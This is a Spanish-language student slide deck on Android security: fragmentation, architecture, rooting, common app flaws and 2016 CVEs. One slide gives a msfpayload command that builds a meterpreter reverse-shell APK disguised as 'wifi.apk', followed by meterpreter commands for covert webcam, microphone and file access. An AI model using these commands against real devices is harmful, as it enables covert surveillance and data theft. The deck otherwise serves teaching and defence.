Sei sulla pagina 1di 34

VULNERABILIDADES EN

ANDROID
ALUMNO: JUAN CARLOS BARRAGN BONILLA.

ECOSISTEMA ANDROID

IDC en Q3 2012 Android tena el


millones de unidades
IDC en Q3 2013 abarcaba el

75% del mercado mundial con 136

81%, 71%, 70%, 79%...

INICIOS

GOOGLE .- Desarrollo del nucleo SO.


CARRIERS: Proveen de voz y acceso a datos.
FABRICANTES Desarrollo de Hardware.
OEMS - Original Equipment Manufacture,
hacen el dispositivo final e integran los
componentes.

CUSTOM ROMS

TIPOS DE USUARIOS
CONSUMIDORES
ROOTS

INVESTIGADORES DE SEGURIDAD

FRAGMENTACION
MULTIPLES
DISPOSITIVOS
CONFIGURACIONES
HARDWARE
NIVELES DE API
TAMAOS DE
PANTALLA
PERIFERICOS
DISPONIBLES

Un atacante puede encontrar fcilmente un exploit para un


dispositivo en particular, pero eso no aplica para dispositivos de
diferente manufactura, as:

la fragmentacin hace el trabajo de un auditor ms difcil.

requerimientos de
compatibilidad con hardware y software, que deben ser seguidos por
Para prevenir esta fragmentacin, Google pone

cualquier fabricante que quiera distribuir dispositivos bajo la marca de Android.

Compatibility Definition Document (CDD)


http://source.android.com/compatibility/

PROBLEMAS EN EL PARAISO?
FRAGMENTACION ACTUALIZACIONES DE SOFTWARE.
SIN NUMERO DE DISPOSITIVOS INSEGUROS.
Las aplicaciones se pueden parchar por el desarrollador a traves de la Play
Store, pero un SO es diferente, requiere de una actualizacin de

firmware u OTA.

PROCESO LABORIOSO PARA CONSUMIDORES

PROBLEMAS EN EL PARAISO?
La liberacin de nuevas versiones de android es muy
lento.
OEMS tienden a ser demasiado lentos para aplicar
parches.
Back Porting es aplicar una reparacin de software
para una actual o vieja versin, son principalmente
inexistentes
Google tiende a reparar sobre la versin actual del
software o posterior, dejando de lado versiones
anteriores indefinidamente vulnerables.

BUGS
Conocidos como vulnerabilidad de half-day, denominado as, porque se
considera un bug decayendo. Ausencia de actualizaciones deja a usuarios
android inseguros

SEGURIDAD VS LIBERTAD
- Para prevenir alteraciones al software, los vendedores
emplean mecanismos de bloqueo del boot loader,
esto hace ms difcil a usuarios avanzados modificar
sus propios dispositivos.
- Las modificaciones de usuarios avanzados pueden
desestabilizar el sistema y dar lugar a las llamadas
de soporte innecesarias.
- Muchos proveedores ofrecen maneras para que los
usuarios finales para desbloquear los dispositivos.

ARQUITECTURA DE ANDROID
1.- Android applications

2.- Android Framework

3.- Dalvik virtual


machine
4.- User-space native
code.
5.- Linux kernel.

ARQUITECTURA DE ANDROID
1.

Aplicaciones Android permiten a los desarrolladores ampliar y mejorar la


funcionalidad de un dispositivo sin tener que alterar los niveles ms bajos.

2.

Framework de Android ofrece a los desarrolladores una API, es el


"pegamento" entre las aplicaciones y la mquina virtual Dalvik.

Apps y Framework se desarrollan en el lenguaje de programacin Java y se


ejecutan dentro de la mquina virtual Dalvik (DalvikVM).

3.

DalvikVM fue especialmente diseado para proporcionar una capa de


abstraccin eficiente para el sistema operativo subyacente. Interpreta el
formato de cdigo de bytes Dalvik ejecutable (DEX).

4.

Usuario de cdigo nativo de Android incluye servicios del sistema,


Servicios de red, y bibliotecas

5.

Ncleo de Linux: Android hecho numerosas adiciones y cambios a las


fuentes del ncleo, algunos de los cuales tienen sus propias ramificaciones
de seguridad.

LIMITES DE SEGURIDAD
KERNEL SPACE - operaciones de bajo nivel de hardware y acceder a toda la
memoria virtual y fsica. (PERMISOS se basan en usuarios y grupos).
USER SPACE - no puede acceder a toda la memoria debido al lmite impuesto
por la CPU. (PERMISOS se basan en establecer limites al instalar apps).
1. Aislamiento de procesos estndar de Linux
2. ID de usuario nico (UID) para la mayora de los procesos
3. Permisos del sistema de archivos muy restringido.

EJEMPLOS
Grupo permite a un proceso de lectura y escritura en el directorio / sdcard

Android utiliza grupos suplementarios para permitir procesos para acceder a


los recursos compartidos o protegidos, algunos conceden derechos
adicionales a procesos.
grupo permite a un proceso lectura y escritura en el directorio
/sdcard

UID: es nico para cada


aplicacin.

Componentes relevantes
Android
AndroidManifest.xml Cada app debe de tener uno , (declaracin de nombre,
permisos, servicos, libreras externas)
The Android Framework Provee de paquetes y clases a desarrolladores.
(android.*)
The Dalvik Virtual Machine basada en registros, el DalvikVM podra verse y
sentirse como Java, pero no lo es. (Clases resultantes se combinan en un solo archivo
Dalvik executable (DEX) )
Libraries - funcionalidad de bajo nivel invocada por clases de nivel superior.
(BIONIC Desarrollada en cdigo nativo propenso a vulnerabilidades corrupcin
de memoria)
Core Services Configuran los servicios bsicos del sistema android subyacente.
(init)
Service Property getprop obtiene dalvik opciones, actual wallpaper,
configuraciones de red y links del vendedor para actualizar .

Rooting your device:


Razones para obtener usuario con privilegios root:
1. Auditar seguridad de android
2. Cambiar configuraciones o comportamiento.
3. Tunear
4. Borrar aplicaciones preinstaladas.
5. Hacer backups completos y restauraciones.
6. Cargar kernels personalizados
Rootear compromete la seguridad del dispositivo
Usuarios de datos expuestos a aplicaciones root, boot loader locks y actualizaciones
firmadas borradas.

OBTENER ROOT
DOWANLOADING MODE
ANDROID RECOVERY
CLOCKWORKMODERECOVERY
ABUSING ABDB - PERMISOS ADBD DAEMON
TEMPORARY ROOT NAND LOCK - PIERDE CAMBIOS AL REINCIAR
PERMANENT ROOT NAND LOCK - DESHABILITAR SEG. FLAG EN BASEBAND Y
FLASH CON NAND UNLOCK

ROOT CON NANDs UNLOCK


1.- Obtener root Shell (soft root)
2.- Escribir la particin SYSTEM ( REMOVER NAND Locks, Temporary Root,
and Permanent Root seccion).
3.-Remontar SYSTEM en modo RW.
4.-Colocar un SU binario con UID root.
5.- Remontar SYSTEM en modo RO.

INSEGURIDAD EN APLICACIONES
FALLAS EN PERMISOS DE APP:
DESARROLLADORES DAN MAS PERMISOS DE LOS REQUERIDOS.

TRANSMISION INSEGURA DE DATOS SENSIBLES (TTL, SSL):


CIFRADO DEBIL O AUSENTE
AUSENCIA DE ALARMAS DE SEGURIDAD O ERRORES DE VALIDACION DE
CERTIFICADOS
USO DE TEXTO PLANO DESPUES DE FALLAS
FUGA DE INFORMACION ATRAVES DE REGISTROS
- VER HISTORIAL WEB Y ROBAR IDENTIFICADORES DE SESION (LOGCAT).

INSEGURA COMUNICACIN ENTRE PROCESOS (IPC)


DEFINICION DE IPC ACCESIBLE POR OTRAS APLICACIONES:
INJECTION , DIRECTORIO TRANSVERSAL.

FALLAS EN PERMISOS DE APPS


Dada la granularidad del modelo de permisos de android, hay oportunidad para los
desarrolladores, de solicitar mas permisos de los que su app pueda requerir.
No se documentan los permisos existentes dentro de la Android API available in
Android Open Source Project (AOSP),
startScan, android 4.1 - call to enforceCallingOrSelfPermission
getNeighboringCellInfo 4.1 - ACCESS_FINE_LOCATION

or

ACCESS_COARSE_LOCATION

Esto conduce a malas prcticas por parte de los desarrolladores, a saber undergranting o, peor
an, overgranting de permisos.
En el caso de undergranting, a menudo es un problema de fiabilidad o funcionalidad, como un
SecurityException no controlada conduce a la aplicacin de crashear.
En cuanto a overgranting, que es ms una cuestin de seguridad; imaginar una aplicacin con
errores, sobreprivilegiado explotado por una aplicacin maliciosa, consiguiendo una escalada
de privilegios

TRANSMISION INSEGURA DE
DATOS SENSIBLES (TTL, SSL):
CIFRADO DEBIL O AUSENTE
AUSENCIA DE ALARMAS DE SEGURIDAD O ERRORES DE VALIDACION DE
CERTIFICADOS
USO DE TEXTO PLANO DESPUES DE FALLAS
El ataque puede realizarse atraves de man-in-the-middle
Robo de Token en Google ClientLogin protocolo de autenticacin ,Android 2.1 - 2.3.4.
Solicitar token, el cual puede ser reusado para transacciones subsecuentes.
El atacante puede personificar al usuario.

INSEGURO ALMACENAMIENTO
DE DATOS
Android ofrece: Preferencias Comaprtidas, SQLite Databases y
Archivos en texto plano.
Puede ser creada y accesada de multiples formas, incluyendo
cdigo nativo
CASO 2011 Skype creacin de archivos con permisos de
lectura y escritura globales, contenido descencriptado e incluia
datos de configuracin y IM logs .
Cuando cualquier archivo es creado a travs de cdigo nativo o
comandos externos, el proceso heredaba el umask de el proceso
padre zygote con una umask de 000
Esto significa permisos globales de lectura y escritura.

FUGA DE INFORMACION
ATRAVES DE logs
Los desarrolladores usan los registros de los logs para
depurar.
Apps que tienen el permiso de READ_LOGS, pueden
obtener acceso a estos mensajes de registro
Por medio de LOGCAT Solo de 4.1 para atrs.
Es posible observar actividad web, robar
identificadores de sesin.

INSEGURA COMUNICACIN
ENTRE PROCESOS (IPC)
La comunicacin entre procesos comunes end point (IPC):
Services, Activities,BroadcastReceivers, and Content Providers.
Potenciales vectores de ataque.
Cuando un IPC no es asegurado, una app maliciosa, este lo
solicita y es concedido.
Se expone contenido de datos estructurados y esto provoca
ataques de inyeccin o directorio transversal

VULNERABILIDADES TOP 2016


Stagefright

Todos los dispositivos equipados con android tienen


unacarpeta denominada Stagefrightque alberga
loscontenidos multimediay posibilita su
reproduccin.
Mediante el envo de un MMS por parte de los hackers,
el malware se infiltra en los dispositivos y
consiguerobar informacin personaly contenidos
guardados en las galeras.

VULNERABILIDADES TOP 2016


CVE 2016-0728

Elhackerpasa a seradministradory puede reescribir los


cdigos bsicos que garantizan una ejecucin normal de las
tareas bsicas.
Pese a que a simple vista, parezca un elemento grave y aunque
2 de cada 3 soportes con Android puedan verseexpuestos, el
nmero de ataques no ha sido elevado.

VULNERABILIDADES TOP 2016


Mediatek
Se trata de unfallo que viene dado por los procesadores desarrollados por
esta firma.
Puede afectar a todos los terminales que posean chips producidos por la
compaa que posean exclusivamente aAndroid 4.4y consiste en la
aparicin de una puerta trasera backdoorcreada por error por los
diseadores del procesador y que da permiso a los hackers paraacceder al
softwarey poderreescribirlo, al igual que sucede con el caso que hemos
comentado anteriormente.
Pese a que una gran cantidad de marcas, especialmente de China, han sido
las vctimas de este error, con la actualizacin a versiones posteriores de
Android el riesgo se elimina.

CVE 2016-0801
Esta vulnerabilidad que ha sido solucionada con rapidez por Google
Se basa en la infeccin de dispositivos a travs deredes WiFique los
atacantes utilizan para acceder a la informacin personal de los usuarios, y
en lareescritura de los cdigosbsicos de Android
El hacker solo puede entrar a los terminales solo si se encuentra conectado a
la misma red que las vctimas, algo que resulta complicado.

Troyanizando Android
#sudo msfpayload android/meterpreter/reverse_tcp
LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk
View running processes -- meterpreter > ps
Search for a file -- meterpreter > search f *.mp3
Take photos using the devices cameras -- meterpreter > webcam_list
-- meterpreter > webcam_snap I 2
Record sound with the microphone -- meterpreter > record_mic 5
Viewing a video stream from the devices camera -- meterpreter >
webcam_stream I 2

How you can protect against


this
1. Only install apps and software from the google play store.
2. Run some sort of (trusted) 3rd party security software and regularly audit
your phone.
3. Make sure you dont have enable installs from unknownsources enabled.
4. Keep your phone in your possession at all times.
5. Avoid opening any suspicious links in emails or text messages.

OBSERVACION:
La fragmentacin que hay enAndroidhar que al final, muchos de las
versiones de los sistemas operativos quedarn sin parche oficial, as que
tendrs que tomar medidas para solucionarlo.
Algunas de ellas pasan por buscar una alternativa como CyanogenModpara
conseguir actualizar el dispositivo mvil a pesar de que no exista una
distribucin oficial del fabricante.
Seguiran apareciendo nuevos fallos en el cifrado y fugas de informacin que
dejan ver t nmero de telfono, la ubicacin donde ests o la direccin IP
desde la que ests conectado.

Potrebbero piacerti anche